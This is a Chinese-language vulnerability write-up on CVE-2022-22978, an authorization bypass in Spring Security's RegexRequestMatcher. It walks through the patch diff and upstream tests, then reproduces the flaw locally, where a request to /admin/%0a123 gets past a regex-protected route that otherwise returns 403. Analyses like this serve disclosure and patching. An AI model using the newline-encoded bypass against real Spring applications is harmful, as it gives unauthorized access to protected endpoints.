Spring Security RegexRequestMatcher 认证绕过漏洞分析（CVE-2022-22978）

作者：h1ei1@白帽汇安全研究院

漏洞介绍

Spring Security 是 Spring 家族中的一个安全管理框架。在 Spring Security 正则表达式中使用带有 . 的 RegexRequestMatcher 的应用程序可能容易受到授权绕过。影响版本如下：

5.5.7 之前的 5.5.x5.6.4 之前的 5.6.x早期不支持的版本

漏洞分析

参考官方公告我们可以在github上diff看看https://github.com/spring-projects/spring-security/compare/5.6.3...5.6.4 (https://github.com/spring-projects/spring-security/compare/5.6.3...5.6.4)，可以看到相关的commit (https://github.com/spring-projects/spring-security/commit/70863952aeb9733499027714d38821db05654856)。

6 web/src/main/java/org/springframework/security/web/util/matcher/RegexRequestMatcher.java

```
@@ -43,7 +43,9 @@
43 43  */
44 44  public final class RegexRequestMatcher implements RequestMatcher {
45 45
46    - private static final int DEFAULT = 0;
   46 + private static final int DEFAULT = Pattern.DOTALL;
   47 +
   48 + private static final int CASE_INSENSITIVE = DEFAULT | Pattern.CASE_INSENSITIVE;
47 49
48 50     private static final Log logger = LogFactory.getLog(RegexRequestMatcher.class);
49 51
@@ -68,7 +70,7 @@ public RegexRequestMatcher(String pattern, String httpMethod) {
68 70      * {@link Pattern#CASE_INSENSITIVE} flag set.
69 71      */
70 72     public RegexRequestMatcher(String pattern, String httpMethod, boolean caseInsensitive) {
71    -        this.pattern = Pattern.compile(pattern, caseInsensitive ? Pattern.CASE_INSENSITIVE : DEFAULT);
   73 +        this.pattern = Pattern.compile(pattern, caseInsensitive ? CASE_INSENSITIVE : DEFAULT);
72 74         this.httpMethod = StringUtils.hasText(httpMethod) ? HttpMethod.valueOf(httpMethod) : null;
73 75     }
74 76
```


`Pattern` 类是 `java.util.regex` 包的三个类之一，负责处理正则表达式相关

`Pattern.DOTALL` ：表示更改.的含义，使它与每一个字符匹配（包括换行符\n），默认情况下，正则表达式中点(.)不会匹配换行符，设置了 `Pattern.DOTALL` 模式，才会匹配所有字符包括换行符。

`Pattern.CASE_INSENSITIVE` ：忽略大小写。

可以看到 `RegexRequestMatcher.java` 文件的修复是增加了对换行符的匹配以及忽略大小写。而且下边的 `RegexRequestMatchertests.java` 文件也给了绕过的提示（\r的URI编码为%0d，\n的URL编码为%0a）。

```
71      -       this.pattern = Pattern.compile(pattern, caseInsensitive ? Pattern.CASE_INSENSITIVE : DEFAULT);
        73  +   this.pattern = Pattern.compile(pattern, caseInsensitive ? CASE_INSENSITIVE : DEFAULT);
72      74      this.httpMethod = StringUtils.hasText(httpMethod) ? HttpMethod.valueOf(httpMethod) : null;
73      75  }
74      76
```

16 ...src/test/java/org/springframework/security/web/util/matcher/RegexRequestMatcherTests.java

```
@@ -101,6 +101,22 @@ public void matchesWithInvalidMethod() {
101     101     assertThat(matcher.matches(request)).isFalse();
102     102 }
103     103
        104 +   @Test
        105 +   public void matchesWithCarriageReturn() {
        106 +       RegexRequestMatcher matcher = new RegexRequestMatcher(".*", null);
        107 +       MockHttpServletRequest request = new MockHttpServletRequest("GET", "/blah%0a");
        108 +       request.setServletPath("/blah\n");
        109 +       assertThat(matcher.matches(request)).isTrue();
        110 +   }
        111 +
        112 +   @Test
        113 +   public void matchesWithLineFeed() {
        114 +       RegexRequestMatcher matcher = new RegexRequestMatcher(".*", null);
        115 +       MockHttpServletRequest request = new MockHttpServletRequest("GET", "/blah%0d");
        116 +       request.setServletPath("/blah\r");
```


漏洞复现

我们新建一个spring boot 项目在pom.xml中加入Spring Security

```
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>
```

指定5.6.3版本来覆盖默认的版本

```
<properties>
    <spring-security.version>5.6.3</spring-security.version>
</properties>
```

项目创建完成后，我们新建一个Controller接口

RegexRequestMatcher.class | ControllerDemo1.java | SecurityConfigDemo1.java

```
1   package com.example.securitydemo2.controller;
2
3   import org.springframework.web.bind.annotation.GetMapping;
4   import org.springframework.web.bind.annotation.RestController;
5
6   @RestController
7   public class ControllerDemo1 {
8       @GetMapping("/admin/*")
9       public String ToAdmin() { return "hello admin"; }
12  }
13
```


然后我们再添加一个简单的认证配置：

`http.authorizeRequests()` ：主要是对url进行访问权限控制，通过这个方法来实现url授权操作。

`authenticated()` ：是访问控制方法的一种，表示所匹配的URL都需要被认证才能访问

RegexRequestMatcher.class | ControllerDemo1.java | SecurityConfigDemo1.java

```java
package com.example.securitydemo2.config;


import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;

@Configuration
public class SecurityConfigDemo1 extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests().regexMatchers( ...regexPatterns: "/admin/.*").authenticated();

    }
}
```


然后此时的/admin/*接口是需要认证才能访问

Request

Pretty Raw \n Actions

```
1 GET /admin/123 HTTP/1.1
2 Host: 127.0.0.1:8090
3 User-Agent: Mozilla/5.0
4 Connection: close
5
6
```

Response

Pretty Raw Render \n Actions

```
1 HTTP/1.1 403
2 Set-Cookie: JSESSIONID=6EEAF3DA1D81AA0C4CF408434D64226E; Path=/; HttpOr
3 X-Content-Type-Options: nosniff
4 X-XSS-Protection: 1; mode=block
5 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
6 Pragma: no-cache
7 Expires: 0
8 X-Frame-Options: DENY
9 Content-Type: application/json
10 Date: Sun, 22 May 2022 09:20:25 GMT
11 Connection: close
12 Content-Length: 98
13
14 {
   "timestamp":"2022-05-22T09:20:25.119+00:00",
   "status":403,
   "error":"Forbidden",
   "path":"/admin/123"
   }
```


使用%0a或者%0d成功绕过

Request

Pretty Raw \n Actions

```
1 GET /admin/%0a123 HTTP/1.1
2 Host: 127.0.0.1:8090
3 User-Agent: Mozilla/5.0
4 Connection: close
5
6
```

Response

Pretty Raw Render \n Actions

```
1 HTTP/1.1 200
2 X-Content-Type-Options: nosniff
3 X-XSS-Protection: 1; mode=block
4 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
5 Pragma: no-cache
6 Expires: 0
7 X-Frame-Options: DENY
8 Content-Type: text/plain;charset=UTF-8
9 Content-Length: 11
10 Date: Sun, 22 May 2022 09:23:52 GMT
11 Connection: close
12
13 hello admin
```

原文地址：https://nosec.org/home/detail/5006.html (https://nosec.org/home/detail/5006.html)